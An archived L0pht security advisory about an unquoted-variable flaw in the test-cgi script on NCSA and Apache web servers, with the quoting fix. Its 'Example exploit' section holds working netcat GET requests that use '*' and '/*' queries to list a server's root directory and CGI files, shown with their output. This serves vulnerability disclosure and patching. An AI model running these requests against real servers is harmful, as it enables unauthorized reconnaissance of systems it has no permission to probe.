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TUCoPS :: Web :: Apps :: test-cgi.txt

test-cgi vulnerability in certain setups







L0pht Report: test-cgi vulnerabilityin certain setups

Affected Program: test-cgi scripts found on various web servers.
Severity: Anyone can remotely inventory the files on a machine.
Author: mudge@l0pht.com


Synopsis:

On many web sites there exists a file called test-cgi (usually in the
cgi-bin directory or somewhere similar). There is a problem with many
of these test-cgi files. If your test-cgi file contains the following
line (verbatim) then you are probably vulnerable.

echo QUERY_STRING = $QUERY_STRING

All of these lines should have the variables enclosed in loose quotes (").
Without these quotes certain special characters (specifically '*') get
expanded where they shouldn't. Thus submitting a query of '*' will return
the contents of the current directory (probably where all of the cgi files
are... gee, there's jj and phf. Hmmm what are all those other cgi's that
I haven't seen... wonder what holes exist in those?). Sending in a query
of '/*' will list the root directory. And so on, and so on.This is the
same as doing `echo *` when you've blown away 'ls' (not that this ever
happens to anyone <grin>). The easiest way to list out the directories
is via the query string.

However, it is possible to do the same thing through many of the other
variables (ie $REMOTE_HOST, $REMOTE_USER, etc.) in the right situations.


Fix:

The quick fix is to place loose quotes around all of the variables in
the test-cgi file (they should have been there from the beginning!).

echo QUERY_STRING = "$QUERY_STRING"

This incorrect file has been seen in at least several versions of NCSA,
and Apache.


Example exploit:

Below are examples (nc is netcat from avian.org, if you don't have it you
should get it as it is an invaluable tool. You can always just telnet to
port 80 and type in the GET... command.)


machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80

CGI/1.0 test script report:
argc is 1. argv is /\*.
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com 
GATEWAY_INTERFACE = CGI/1.1 
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =


Or to see what other cgi-goodies are still floating around...

machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80

CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =


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